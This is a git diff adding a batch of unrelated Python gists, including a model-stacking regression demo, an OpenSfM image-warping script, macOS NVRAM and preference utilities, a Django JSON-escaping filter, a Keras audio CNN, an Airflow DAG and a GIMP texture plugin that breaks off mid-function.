+       [0.533,0.811],[0.644,0.293],[0.403,0.579],[0.278,0.577],[0.888,0.902],[0.99,0.182],[0.212,0.072],[0.692,0.386],
+       [0.919,0.318],[0.082,0.234],[0.99,0.597],[0.867,0.371],[0.158,0.154],[0.304,0.826],[0.088,0.638],[0.382,0.87],
+       [0.491,0.75],[0.155,0.731],[0.291,0.494],[0.76,0.304],[0.602,0.904],[0.512,0.713],[0.28,0.626],[0.99,0.566],
+       [0.26,0.613],[0.312,0.561],[0.84,0.695],[0.112,0.245],[0.701,0.479],[0.974,0.103],[0.507,0.188],[0.583,0.586],
+       [0.965,0.96],[0.112,0.007],[0.018,0.752],[0.063,0.967],[0.456,0.024],[0.214,0.107],[0.086,0.352],[0.892,0.356],
+       [0.533,0.533],[0.276,0.241],[0.514,0.363],[0.241,0.765],[0.829,0.821],[0.73,0.54],[0.136,0.635],[0.431,0.248],
+       [0.288,0.259],[0.008,0.663],[0.856,0.954],[0.579,0.972]
+       ]
+# y is the target variable for the train data
+y=[19.444,4.992,2.11,13.708,0.805,8.619,10.21,11.443,5.624,11.092,17.783,19.544,7.135,7.411,10.633,19.133,23.157,
+   12.794,18.729,14.939,9.564,19.852,10.028,14.571,22.387,18.742,14.089,8.017,23.241,11.613,14.473,13.893,15.127,
+   12.062,5.968,19.842,18.636,9.556,21.748,9.319,7.09,2.423,14.594,9.14,6.539,18.883,15.257,18.729,14.114,10.36,
+   16.359,14.56,19.991,15.411,3.763,17.696,19.243,1.937,26.017,19.858,2.971,10.657,5.808,11.943,13.442,7.663,
+   13.304,17.375,15.677,13.589,8.728,25.399,8.824,14.796,18.179,2.405,19.424,15.835,8.254,19.661,21.516,1.764,
+   5.845,8.68,7.262,3.478,7.544,19.942,17.491,4.847,14.444,9.097,18.873,20.894,7.049,7.103,5.038,5.026,20.896,16.037]
+
+# test is the test data
+test=[
+      [0.463,0.496],[0.45,0.365],[0.131,0.283],[0.015,0.827],[0.076,0.302],[0.092,0.356],[0.765,0.039],[0.94,0.767],[0.413,0.343],
+      [0.484,0.155],[0.464,0.695],[0.574,0.767],[0.81,0.848],[0.888,0.317],[0.802,0.776],[0.197,0.417],[0.076,0.9],[0.071,0.248],
+      [0.377,0.356],[0.523,0.538],[0.282,0.151],[0.299,0.342],[0.171,0.879],[0.125,0.123],[0.38,0.554],[0.138,0.919],[0.984,0.361],
+      [0.07,0.95],[0.674,0.511],[0.514,0.808],[0.808,0.83],[0.573,0.622],[0.719,0.961],[0.479,0.144],[0.158,0.708],[0.365,0.306],
+      [0.704,0.963],[0.959,0.614],[0.36,0.8],[0.937,0.178],[0.412,0.69],[0.145,0.122],[0.386,0.832],[0.419,0.622],[0.908,0.44],
+      [0.139,0.227],[0.57,0.852],[0.322,0.763],[0.407,0.94],[0.972,0.735],[0.027,0.671],[0.875,0.533],[0.117,0.829],[0.837,0.725],
+      [0.963,0.674],[0.065,0.641],[0.271,0.693],[0.845,0.423],[0.332,0.341],[0.548,0.883],[0.979,0.094],[0.806,0.249],[0.924,0.513],
+      [0.564,0.971],[0.768,0.098],[0.258,0.096],[0.365,0.811],[0.241,0.83],[0.636,0.481],[0.583,0.037],[0.408,0.535],[0.147,0.737],
+      [0.027,0.452],[0.871,0.599],[0.774,0.614],[0.563,0.268],[0.573,0.424],[0.902,0.863],[0.274,0.253],[0.312,0.135],[0.435,0.416],
+      [0.973,0.094],[0.541,0.022],[0.501,0.773],[0.18,0.936],[0.253,0.042],[0.354,0.242],[0.268,0.671],[0.253,0.382],[0.488,0.956],
+      [0.081,0.715],[0.786,0.647],[0.813,0.999],[0.967,0.846],[0.3,0.26],[0.06,0.658],[0.366,0.988],[0.397,0.978],[0.535,0.935]
+      ]
+
+
+# ytest is the target variable for the test data
+ytest=[15.828,13.165,2.805,6.464,6.338,7.868,11.866,19.99,12.631,7.707,12.534,14.495,19.236,19.504,17.825,10.311,7.744,1.643,12.255,
+       17.601,4.874,10.789,9.428,2.327,15.502,8.762,21.087,8.585,19.251,13.568,19.096,13.478,18.991,7.625,7.578,10.835,18.129,19.543,
+       11.518,15.077,11.418,2.585,12.003,11.192,22.111,2.727,15.859,10.681,13.344,20.361,5.576,23.465,8.48,18.288,20.473,5.871,9.61,
+       19.963,10.884,15.108,15.787,13.071,23.744,16.452,12.334,4.794,11.67,9.674,18.095,9.58,15.796,7.597,8.211,24.461,16.518,9.306,
+       16.248,20.532,4.874,5.217,14.104,15.786,8.479,13.659,9.66,4.149,6.156,9.4,10.784,14.966,6.84,16.894,19.311,21.661,5.455,
+       6.063,13.329,13.911,15.998]
+
+from sklearn.metrics import mean_squared_error # the metric to test 
+from sklearn.ensemble import RandomForestRegressor #import model
+from sklearn.linear_model import LinearRegression #import model
+import numpy as np #import numpy for stats
+from sklearn.model_selection import train_test_split # split the training data
+
+# train is the training data
+# y is the target variable for the train data
+# test is the test data
+# ytest is the target variable for the test data
+
+#split train data in 2 parts, training and  valdiation.
+training,valid,ytraining,yvalid = train_test_split(
+        train,y,test_size=0.5,random_state=2)
+#specify models
+model1=RandomForestRegressor(random_state=2)
+model2=LinearRegression()
+#fit models
+model1.fit(training,ytraining)
+model2.fit(training,ytraining)
+#make predictions for validation
+preds1=model1.predict(valid)
+preds2=model2.predict(valid)
+#make predictions for test data
+test_preds1=model1.predict(test)
+test_preds2=model2.predict(test)
+#Form a new dataset for valid and test via stacking the predictions
+stacked_predictions=np.column_stack((preds1,preds2))
+stacked_test_predictions=np.column_stack((test_preds1,test_preds2))
+#specify meta model
+meta_model=LinearRegression()
+#fit meta model on stacked predictions
+meta_model.fit(stacked_predictions,yvalid)
+#make predictions on the stacked predictions of the test data
+final_predictions=meta_model.predict(stacked_test_predictions)
+
+print ("mean squared error of model 1 ", mean_squared_error(ytest,test_preds1)) 
+print ("mean squared error of model 2 ", mean_squared_error(ytest,test_preds2)) 
+print ("mean squared error of meta model ", mean_squared_error(ytest,final_predictions)) 
+
+"""
+Prints
+('mean squared error of model 1 ', 3.2368156824242451)
+('mean squared error of model 2 ', 4.5111357598518351)
+('mean squared error of meta model ', 2.6495691512424853)
+"""
diff --git a/hard-gists/5a5c3a6ad327f303cb915198aec8a90d/._snippet.py b/hard-gists/5a5c3a6ad327f303cb915198aec8a90d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5a5c3a6ad327f303cb915198aec8a90d/._snippet.py differ
diff --git a/hard-gists/5a5c3a6ad327f303cb915198aec8a90d/snippet.py b/hard-gists/5a5c3a6ad327f303cb915198aec8a90d/snippet.py
new file mode 100644
index 00000000..86edd1cd
--- /dev/null
+++ b/hard-gists/5a5c3a6ad327f303cb915198aec8a90d/snippet.py
@@ -0,0 +1,62 @@
+import numpy as np
+import opensfm
+import cv2
+from opensfm import dataset
+import pylab
+import scipy.interpolate
+
+import opensfm.features
+
+def project(shot, point):
+    p = shot.project(point.coordinates)
+    return opensfm.features.denormalized_image_coordinates(
+        p.reshape(1, 2), shot.camera.width, shot.camera.height)[0]
+
+
+def warp_image(reconstruction, src_id, dst_id):
+    src_shot = reconstruction.shots[src_id]
+    dst_shot = reconstruction.shots[dst_id]
+    points = reconstruction.points.values()
+    src_points = np.array([project(src_shot, p) for p in points])
+    dst_points = np.array([project(dst_shot, p) for p in points])
+    src = data.image_as_array(src_id)
+    dst = data.image_as_array(dst_id)
+    dst_y, dst_x = np.indices(dst.shape[:2])
+    dst_grid = np.column_stack([dst_x.ravel(), dst_y.ravel()])
+
+    x = scipy.interpolate.griddata(dst_points, src_points[:, 0],
+                                   dst_grid, method='linear')
+    y = scipy.interpolate.griddata(dst_points, src_points[:, 1],
+                                   dst_grid, method='linear')
+    x = np.where(np.isnan(x), 0, x).reshape(dst.shape[:2])
+    y = np.where(np.isnan(y), 0, y).reshape(dst.shape[:2])
+    x = np.clip(x, 0, src.shape[1] - 1)
+    y = np.clip(y, 0, src.shape[0] - 1)
+
+    warped = src[y.astype(int), x.astype(int)]
+
+    pylab.figure()
+    pylab.subplot(2, 2, 1)
+    pylab.title('source')
+    pylab.imshow(src)
+    pylab.subplot(2, 2, 2)
+    pylab.title('target')
+    pylab.imshow(dst)
+    pylab.subplot(2, 2, 3)
+    pylab.title('source wraped to target')
+    pylab.imshow(warped)
+    pylab.subplot(2, 2, 4)
+    pylab.title('comparision')
+    pylab.imshow(warped / 2 + dst / 2)
+
+
+# load opensfm dataset
+data = dataset.DataSet('/Users/eder/python/OpenSFM/data/berlin')
+rec = data.load_reconstruction()[0]
+print rec.shots['01.jpg']
+shot = rec.shots['01.jpg']
+
+for s in rec.shots.values():
+    warp_image(rec, shot.id, s.id)
+
+pylab.show()
\ No newline at end of file
diff --git a/hard-gists/5a9f5f02c53b3fa648c5704e34b1db8a/._snippet.py b/hard-gists/5a9f5f02c53b3fa648c5704e34b1db8a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5a9f5f02c53b3fa648c5704e34b1db8a/._snippet.py differ
diff --git a/hard-gists/5a9f5f02c53b3fa648c5704e34b1db8a/snippet.py b/hard-gists/5a9f5f02c53b3fa648c5704e34b1db8a/snippet.py
new file mode 100644
index 00000000..d8f87896
--- /dev/null
+++ b/hard-gists/5a9f5f02c53b3fa648c5704e34b1db8a/snippet.py
@@ -0,0 +1,23 @@
+import objc
+from Foundation import NSBundle
+
+IOKit_bundle = NSBundle.bundleWithIdentifier_('com.apple.framework.IOKit')
+
+functions = [
+             ("IORegistryEntryFromPath", b"II*"),
+             ("IORegistryEntryCreateCFProperty", b"@I@@I"),
+            ]
+
+objc.loadBundleFunctions(IOKit_bundle, globals(), functions)
+
+def nvram(keyname):
+    raw = IORegistryEntryCreateCFProperty(IORegistryEntryFromPath(0, "IODeviceTree:/options"), keyname, None, 0)
+    # This returns the raw bytes
+    # For string values, this will be what you're looking for
+    # For more complex/structured values, you may need to parse the bytes
+    return raw.bytes().tobytes()
+
+# example usage:
+# Look up a macOS device serial number via nvram
+def serialnumber():
+    return nvram("4D1EDE05-38C7-4A6A-9CC6-4BCCA8B38C14:SSN")
\ No newline at end of file
diff --git a/hard-gists/5aec669ea8a8c920c0960fa05895687f/._snippet.py b/hard-gists/5aec669ea8a8c920c0960fa05895687f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5aec669ea8a8c920c0960fa05895687f/._snippet.py differ
diff --git a/hard-gists/5aec669ea8a8c920c0960fa05895687f/snippet.py b/hard-gists/5aec669ea8a8c920c0960fa05895687f/snippet.py
new file mode 100644
index 00000000..56e245c0
--- /dev/null
+++ b/hard-gists/5aec669ea8a8c920c0960fa05895687f/snippet.py
@@ -0,0 +1,44 @@
+#!/usr/bin/python
+
+# Some notes about using this script:
+# - Configure the application path and bundle id below
+# - This script needs to be run as the user you need to set the checkmark for
+# - The setting will not take effect until they log out and log back in at least once
+
+import os.path
+from Foundation import NSHomeDirectory, CFPreferencesCopyMultiple, CFPreferencesSetMultiple, kCFPreferencesAnyUser, kCFPreferencesCurrentHost, NSMutableDictionary, NSURL, NSURLBookmarkCreationMinimalBookmark, NSMutableArray
+
+# --- CHANGE THESE SETTINGS ---
+lowres_app_path = u'/Applications/TextEdit.app'
+lowres_app_id   = u'com.apple.TextEdit'
+# ----------------------------- 
+
+# create the bookmark data
+app_url = NSURL.alloc().initFileURLWithPath_(lowres_app_path)
+bookmark, error = app_url.bookmarkDataWithOptions_includingResourceValuesForKeys_relativeToURL_error_(NSURLBookmarkCreationMinimalBookmark, [], None, None)
+
+# check if the file exists already
+ls_prefs = os.path.join(NSHomeDirectory(), u'Library/Preferences/com.apple.LaunchServices/com.apple.LaunchServices')
+ls_prefs_plist = ls_prefs + u'.plist'
+
+if os.path.isfile(ls_prefs_plist):
+    # read it in
+    current_prefs = CFPreferencesCopyMultiple(None, ls_prefs, kCFPreferencesAnyUser, kCFPreferencesCurrentHost)
+else:
+    # make a new dictionary
+    current_prefs = NSMutableDictionary()
+
+# Get any existing key or a new blank dict if not present
+magnified = current_prefs.get(u'LSHighResolutionModeIsMagnified', NSMutableDictionary())
+magnified_editable = NSMutableDictionary.dictionaryWithDictionary_(magnified)
+# Build our values
+options = NSMutableArray.alloc().init()
+options.append(bookmark)
+# A value of 3 = enabled, value of 2 = disabled
+options.append(3)
+magnified_editable[lowres_app_id] = options
+
+# Update the setting
+update_dict = NSMutableDictionary()
+update_dict[u'LSHighResolutionModeIsMagnified'] = magnified_editable
+result = CFPreferencesSetMultiple(update_dict, None, ls_prefs, kCFPreferencesAnyUser, kCFPreferencesCurrentHost)
\ No newline at end of file
diff --git a/hard-gists/5af7cd0e934f5465b695/._snippet.py b/hard-gists/5af7cd0e934f5465b695/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5af7cd0e934f5465b695/._snippet.py differ
diff --git a/hard-gists/5af7cd0e934f5465b695/snippet.py b/hard-gists/5af7cd0e934f5465b695/snippet.py
new file mode 100644
index 00000000..b72fde2d
--- /dev/null
+++ b/hard-gists/5af7cd0e934f5465b695/snippet.py
@@ -0,0 +1,43 @@
+from django.core.serializers.json import DjangoJSONEncoder
+from django.template import Library
+from json import dumps as json_dumps
+
+register = Library()
+
+
+@register.filter
+def json(data):
+    """
+    Safely JSON-encode an object.
+
+    To protect against XSS attacks, HTML special characters (<, >, &) and unicode newlines
+    are replaced by escaped unicode characters. Django does not escape these characters
+    by default.
+
+    Output of this method is not marked as HTML safe. If you use it inside an HTML
+    attribute, it must be escaped like regular data:
+
+    <div data-user="{{ data|json }}">
+
+    If you use it inside a <script> tag, then the output does not need to be escaped,
+    so you can mark it as safe:
+
+    <script>
+    var user = {{ data|json|safe }};
+    </script>
+
+    Escaped characters taken from Rails json_escape() helper:
+    https://github.com/rails/rails/blob/v4.2.5/activesupport/lib/active_support/core_ext/string/output_safety.rb#L60-L113
+    """
+    unsafe_chars = {
+        '&': '\\u0026',
+        '<': '\\u003c',
+        '>': '\\u003e',
+        '\u2028': '\\u2028',
+        '\u2029': '\\u2029'}
+    json_str = json_dumps(data, cls=DjangoJSONEncoder)
+
+    for (c, d) in unsafe_chars.items():
+        json_str = json_str.replace(c, d)
+
+    return json_str
\ No newline at end of file
diff --git a/hard-gists/5b17c9f37f351780744aefc74f93d3ae/._snippet.py b/hard-gists/5b17c9f37f351780744aefc74f93d3ae/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5b17c9f37f351780744aefc74f93d3ae/._snippet.py differ
diff --git a/hard-gists/5b17c9f37f351780744aefc74f93d3ae/snippet.py b/hard-gists/5b17c9f37f351780744aefc74f93d3ae/snippet.py
new file mode 100644
index 00000000..3edd6f51
--- /dev/null
+++ b/hard-gists/5b17c9f37f351780744aefc74f93d3ae/snippet.py
@@ -0,0 +1,88 @@
+import numpy as np
+from keras.models import Sequential
+from keras.layers import Dense, Dropout, Activation, Flatten
+from keras.layers import Convolution2D, MaxPooling2D
+from keras.optimizers import SGD
+from keras.regularizers import l2, activity_l2
+from keras.utils import np_utils
+from sklearn import metrics 
+
+# to run this code, you'll need to load the following data: 
+# train_x, train_y
+# valid_x, valid_y
+# test_x, test_y
+# see http://aqibsaeed.github.io/2016-09-24-urban-sound-classification-part-2/ for details
+
+# data dimension parameters 
+frames = 41
+bands = 60
+num_channels = 2
+num_labels = test_y.shape[1]
+
+# this model implements the 5 layer CNN described in https://arxiv.org/pdf/1608.04363.pdf
+# be aware, there are 2 main differences: 
+# the input is 60x41 data frames with 2 channels => (60,41,2) tensors 
+# the paper seems to report using 128x128 data frames (with no mention of channels)
+# the paper also uses a receptive field size of 5x5 - as our input is smaller, I'm using 3x3
+
+f_size = 3
+
+model = Sequential()
+
+# Layer 1 - 24 filters with a receptive field of (f,f), i.e. W has the shape (24,1,f,f). 
+# This is followed by (4,2) max-pooling over the last two dimensions and a ReLU activation function.
+model.add(Convolution2D(24, f_size, f_size, border_mode='same', input_shape=(bands, frames, num_channels)))
+model.add(MaxPooling2D(pool_size=(4, 2)))
+model.add(Activation('relu'))
+
+# Layer 2 - 48 filters with a receptive field of (f,f), i.e. W has the shape (48,24,f,f). 
+# Like L1 this is followed by (4,2) max-pooling and a ReLU activation function.
+model.add(Convolution2D(48, f_size, f_size, border_mode='same'))
+model.add(MaxPooling2D(pool_size=(4, 2)))
+model.add(Activation('relu'))
+
+# Layer 3 - 48 filters with a receptive field of (f,f), i.e. W has the shape (48, 48, f, f). 
+# This is followed by a ReLU but no pooling.
+model.add(Convolution2D(48, f_size, f_size, border_mode='valid'))
+model.add(Activation('relu'))
+
+# flatten output into a single dimension, let Keras do shape inference
+model.add(Flatten())
+
+# Layer 4 - a fully connected NN layer of 64 hidden units, L2 penalty of 0.001
+model.add(Dense(64, W_regularizer=l2(0.001)))
+model.add(Activation('relu'))
+model.add(Dropout(0.5))
+
+# Layer 5 - an output layer with one output unit per class, with L2 penalty, 
+# followed by a softmax activation function
+model.add(Dense(num_labels, W_regularizer=l2(0.001)))
+model.add(Dropout(0.5))
+model.add(Activation('softmax'))
+
+
+# create a SGD optimiser
+sgd = SGD(lr=0.001, momentum=0.0, decay=0.0, nesterov=False)
+
+# a stopping function should the validation loss stop improving
+earlystop = EarlyStopping(monitor='val_loss', patience=1, verbose=0, mode='auto')
+
+# compile and fit model, reduce epochs if you want a result faster
+# the validation set is used to identify parameter settings (epoch) that achieves 
+# the highest classification accuracy
+model.compile(loss='categorical_crossentropy', metrics=['accuracy'], optimizer=sgd)
+
+model.fit(train_x, train_y, validation_data=(valid_x, valid_y), callbacks=[earlystop], batch_size=32, nb_epoch=50)
+
+# finally, evaluate the model using the withheld test dataset
+
+# determine the ROC AUC score 
+y_prob = model.predict_proba(test_x, verbose=0)
+y_pred = np_utils.probas_to_classes(y_prob)
+y_true = np.argmax(test_y, 1)
+roc = metrics.roc_auc_score(test_y, y_prob)
+print "ROC:", round(roc,3)
+
+# determine the classification accuracy
+score, accuracy = model.evaluate(test_x, test_y, batch_size=32)
+print("\nAccuracy = {:.2f}".format(accuracy))
diff --git a/hard-gists/5b4c5ffdcdb5a13e0267/._snippet.py b/hard-gists/5b4c5ffdcdb5a13e0267/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5b4c5ffdcdb5a13e0267/._snippet.py differ
diff --git a/hard-gists/5b4c5ffdcdb5a13e0267/snippet.py b/hard-gists/5b4c5ffdcdb5a13e0267/snippet.py
new file mode 100644
index 00000000..2d25cf47
--- /dev/null
+++ b/hard-gists/5b4c5ffdcdb5a13e0267/snippet.py
@@ -0,0 +1,27 @@
+#!/usr/bin/python
+
+import sys;
+import re;
+import slate;
+import pickle;
+import nltk;
+import glob;
+import os;
+
+def main():
+    if len(sys.argv) < 2:
+        sys.exit('Usage: %s search-term' % sys.argv[0])
+
+targets = glob.glob('./*.pdf')
+
+for target in targets:
+    print("searching in: " + target)
+    with open(target) as f:
+        doc = slate.PDF(f)
+
+    for i in range (0,len(doc)):
+        if sys.argv[1].lower() in doc[i].lower():
+            print("FOUND! in page " + str(i+1))
+
+if __name__ == "__main__":
+    main()
\ No newline at end of file
diff --git a/hard-gists/5b581d774fc8500325f7/._snippet.py b/hard-gists/5b581d774fc8500325f7/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5b581d774fc8500325f7/._snippet.py differ
diff --git a/hard-gists/5b581d774fc8500325f7/snippet.py b/hard-gists/5b581d774fc8500325f7/snippet.py
new file mode 100644
index 00000000..ed3474e1
--- /dev/null
+++ b/hard-gists/5b581d774fc8500325f7/snippet.py
@@ -0,0 +1,80 @@
+from picamera.array import PiRGBArray
+from picamera import PiCamera
+import time
+import sys
+import cv2
+import zbar
+import Image
+
+# Debug mode
+DEBUG = False
+if len(sys.argv) > 1:
+	DEBUG = sys.argv[-1] == 'DEBUG'
+
+# Configuration options
+FULLSCREEN = not DEBUG
+if not DEBUG:
+    RESOLUTION = (640, 480)
+else:
+	RESOLUTION = (480, 270)
+
+# Initialise Raspberry Pi camera
+camera = PiCamera()
+camera.resolution = RESOLUTION
+#camera.framerate = 10
+#camera.vflip = True
+#camera.hflip = True
+#camera.color_effects = (128, 128)
+# set up stream buffer
+rawCapture = PiRGBArray(camera, size=RESOLUTION)
+# allow camera to warm up
+time.sleep(0.1)
+print "PiCamera ready"
+
+# Initialise OpenCV window
+if FULLSCREEN:
+	cv2.namedWindow("#iothack15", cv2.WND_PROP_FULLSCREEN)
+	cv2.setWindowProperty("#iothack15", cv2.WND_PROP_FULLSCREEN, cv2.cv.CV_WINDOW_FULLSCREEN)
+else:
+	cv2.namedWindow("#iothack15")
+
+print "OpenCV version: %s" % (cv2.__version__)
+print "Press q to exit ..."
+
+scanner = zbar.ImageScanner()
+scanner.parse_config('enable')
+
+# Capture frames from the camera
+for frame in camera.capture_continuous(rawCapture, format="bgr", use_video_port=True):
+    # as raw NumPy array
+    output = frame.array.copy()
+
+    # raw detection code
+    gray = cv2.cvtColor(output, cv2.COLOR_BGR2GRAY, dstCn=0)
+    pil = Image.fromarray(gray)
+    width, height = pil.size
+    raw = pil.tostring()
+
+    # create a reader
+    image = zbar.Image(width, height, 'Y800', raw)
+    scanner.scan(image)
+
+    # extract results
+    for symbol in image:
+        # do something useful with results
+        print 'decoded', symbol.type, 'symbol', '"%s"' % symbol.data
+
+    # show the frame
+    cv2.imshow("#iothack15", output)
+
+    # clear stream for next frame
+    rawCapture.truncate(0)
+
+    # Wait for the magic key
+    keypress = cv2.waitKey(1) & 0xFF
+    if keypress == ord('q'):
+    	break
+
+# When everything is done, release the capture
+camera.close()
+cv2.destroyAllWindows()
diff --git a/hard-gists/5b62847bf934785119ffb16be636e073/._snippet.py b/hard-gists/5b62847bf934785119ffb16be636e073/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5b62847bf934785119ffb16be636e073/._snippet.py differ
diff --git a/hard-gists/5b62847bf934785119ffb16be636e073/snippet.py b/hard-gists/5b62847bf934785119ffb16be636e073/snippet.py
new file mode 100644
index 00000000..677e4b98
--- /dev/null
+++ b/hard-gists/5b62847bf934785119ffb16be636e073/snippet.py
@@ -0,0 +1,19 @@
+# coding: utf-8
+import appex
+from html2text import html2text
+import console
+import re
+
+def main():
+	if not appex.is_running_extension():
+		print 'This script is intended to be run from the sharing extension.'
+		return
+	text = appex.get_attachments()
+	if not text:
+		print 'No text input found.'
+		return
+	console.alert('Statistics', '%s' % (text), 'OK', hide_cancel_button=True)
+
+if __name__ == '__main__':
+	main()
+	
\ No newline at end of file
diff --git a/hard-gists/5b769cd2a86bb1270188ffa423941d5f/._snippet.py b/hard-gists/5b769cd2a86bb1270188ffa423941d5f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5b769cd2a86bb1270188ffa423941d5f/._snippet.py differ
diff --git a/hard-gists/5b769cd2a86bb1270188ffa423941d5f/snippet.py b/hard-gists/5b769cd2a86bb1270188ffa423941d5f/snippet.py
new file mode 100644
index 00000000..8d5d0f74
--- /dev/null
+++ b/hard-gists/5b769cd2a86bb1270188ffa423941d5f/snippet.py
@@ -0,0 +1,106 @@
+# -*- coding: utf-8 -*-
+from airflow.operators.http_operator import SimpleHttpOperator
+from airflow.operators.postgres_operator import PostgresOperator
+from airflow.operators.subdag_operator import SubDagOperator
+from airflow.operators.sensors import SqlSensor
+from airflow.hooks.postgres_hook import PostgresHook
+
+from airflow.operators.python_operator import PythonOperator
+
+from airflow.models import Variable, DAG
+
+from datetime import datetime, timedelta
+
+default_args = {
+    'owner': '@tmarthal',
+    'start_date': datetime(2017, 2, 1),
+    'depends_on_past': False,
+    'retries': 1,
+    'retry_delay': timedelta(minutes=5),
+}
+
+
+##
+## The DAG for the application audience job to run
+##
+dag = DAG('sensor_dag_creation_inoperator',
+    default_args=default_args,
+    schedule_interval = '*/5 * * * *' # every five minutes
+)
+
+dag.doc = """
+Simple http call which triggers when a row shows up in a database
+"""
+
+def response_check(response):
+    """
+    Dumps the http response and returns True when the http call status is 200/success
+    """
+    print("checking the reponse from the app")
+    print(response.content)
+    return response.status_code == 200
+
+
+def process_new_accounts(ds, **kwargs):
+    """
+    The sensor has detected new ids to process, so we call the http operator for each
+    """
+
+    select_sql = "SELECT id from audiences where created_at > '{ds}'".format(ds=ds)
+    print("running select sql {}".format(select_sql))
+
+    pg_hook = PostgresHook(postgres_conn_id='letterpress-app')
+    connection = pg_hook.get_conn()
+
+    cursor = connection.cursor()
+    cursor.execute(select_sql)
+
+    account_ids = cursor.fetchall()
+
+    for account_id in account_ids:
+        # Create a sub-dag with each new id
+        # the child dag name
+        export_account_task_name = 'task_process_account_%s' % account_id
+
+        print("starting task: {}".format(export_account_task_name))
+        export_account_dag = DAG(
+            dag_id=export_account_task_name,
+            default_args=default_args,
+            schedule_interval='*/5 * * * *'  # '@once'
+        )
+
+        ## This hits the account export url, _endpoint/account/export?id={ACCOUNT_ID}&token={AUTH_TOKEN}
+        account_export_endpoint_task = SimpleHttpOperator(
+            task_id='account_export_endpoint_task_%s' % (account_id),
+            http_conn_id='application',
+            method='GET',
+            endpoint='_endpoint/account/export',
+            data={"id": "{}".format(account_id), "token": Variable.get("APPLICATION_ACCESS_TOKEN")},  # http params
+            response_check=response_check,  # will retry based on default_args if it fails
+            dag=export_account_dag)
+
+        print("Created account processing DAG {}".format(export_account_dag.dag_id))
+
+        # register the dynamically created DAG in the global namespace?
+        globals()[export_account_task_name] = export_account_dag
+
+
+    return account_ids
+
+
+
+sensor = SqlSensor(
+    task_id='account_creation_check',
+    conn_id='account-database',
+    poke_interval=600, #do the select every 600 seconds, 5 minutes
+    sql="SELECT id from accounts where created_at > '{{ds}}' LIMIT 1",
+    dag=dag
+)
+
+process_new_accounts_task = PythonOperator(task_id='process_new_accounts',
+                   provide_context=True,
+                   python_callable=process_new_accounts,
+                   dag=dag)
+
+
+sensor >> process_new_accounts_task
diff --git a/hard-gists/5b9bd428079959558ba8/._snippet.py b/hard-gists/5b9bd428079959558ba8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5b9bd428079959558ba8/._snippet.py differ
diff --git a/hard-gists/5b9bd428079959558ba8/snippet.py b/hard-gists/5b9bd428079959558ba8/snippet.py
new file mode 100644
index 00000000..dff5fecd
--- /dev/null
+++ b/hard-gists/5b9bd428079959558ba8/snippet.py
@@ -0,0 +1,258 @@
+#! /usr/bin/env python
+
+from gimpfu import *
+import commands
+import glob
+import os
+import string
+import subprocess
+
+suffixes = (['diffuse', '_d'], ['specular', '_s'], ['normal', '_n'], ['height', '_h'], \
+	['ambient', '_a'], ['highdetail', '_hn'], ['shaperecog', '_sn'], ['lowdetail', '_ln'], \
+	['mediumdetail', '_mn'])
+
+def genFilenames(filename):
+	(root, ext)=os.path.splitext(filename)
+	filenames = {}
+	for suffix in suffixes:
+		filenames[suffix[0]]  = root + suffix[1] + ext
+	return filenames
+
+def saveLastOperation(image, filename):
+	layer = pdb.gimp_image_get_active_layer(image)
+	pdb.gimp_file_save(image, layer, filename, filename)
+
+def specularEdge(image, filename, level, enhance):
+	drawable = pdb.gimp_image_get_active_layer(image)
+	newlayer = pdb.gimp_layer_copy (drawable, 1)
+	pdb.gimp_image_add_layer(image, newlayer, -1)
+	pdb.gimp_image_set_active_layer(image, newlayer)
+	pdb.gimp_desaturate(newlayer)
+
+	drawable = pdb.gimp_image_get_active_layer(image)
+	newlayer = pdb.gimp_layer_copy (drawable, 1)
+	pdb.gimp_image_add_layer(image, newlayer, -1)
+	pdb.gimp_image_set_active_layer(image, newlayer)
+	pdb.gimp_desaturate(newlayer)
+
+	if enhance:
+		pdb.plug_in_dog(image, newlayer, 1.0, 8.0, 1, 0)
+	else:
+		pdb.plug_in_dog(image, newlayer, 8.0, 1.0, 1, 0)
+	#pdb.plug_in_vinvert(image,newlayer)
+	
+	pdb.gimp_layer_set_mode(newlayer, 7)
+	pdb.gimp_image_merge_down(image, newlayer, 0)
+	
+	drawable = pdb.gimp_image_get_active_layer(image)
+	pdb.gimp_brightness_contrast(drawable, 0, 64)
+	pdb.gimp_levels(drawable, 0, level, 255, 1, 0, 255)
+	if not enhance:
+		pdb.gimp_image_raise_layer_to_top(image, drawable)
+	pdb.gimp_file_save(image, drawable, filename, filename)
+	pdb.gimp_edit_clear(drawable)
+
+def removeShading(image):
+	drawable = pdb.gimp_image_get_active_layer(image)
+	newlayer = pdb.gimp_layer_copy (drawable, 1)
+	pdb.gimp_image_add_layer(image, newlayer, -1)
+	pdb.gimp_image_set_active_layer(image, newlayer)
+	pdb.plug_in_gauss(image, newlayer, 20.0, 20.0, 0)
+	pdb.plug_in_vinvert(image, newlayer)
+	pdb.gimp_layer_set_mode(newlayer, 5)
+	pdb.gimp_image_merge_visible_layers(image, 0)
+
+def blur(image, diffuse, width, height, passes, normal):
+	desatdiffuse = pdb.gimp_layer_copy (diffuse, 1)
+	pdb.gimp_image_add_layer(image, desatdiffuse, -1)
+	pdb.gimp_image_set_active_layer(image, desatdiffuse)
+	if normal == 0:
+		pdb.gimp_desaturate(desatdiffuse)
+
+	for i in range(passes):
+		drawable = pdb.gimp_image_get_active_layer(image)
+		newlayer = pdb.gimp_layer_copy (drawable, 1)
+		pdb.gimp_image_add_layer(image, newlayer, -1)
+		pdb.gimp_image_set_active_layer(image, newlayer)
+		pdb.plug_in_gauss(image, newlayer, width * 0.05, height * 0.05, 0)
+		pdb.gimp_layer_set_mode(newlayer, 5)
+		pdb.gimp_image_merge_down(image, newlayer, 0)
+		drawable = pdb.gimp_image_get_active_layer(image)
+	if normal == 1:
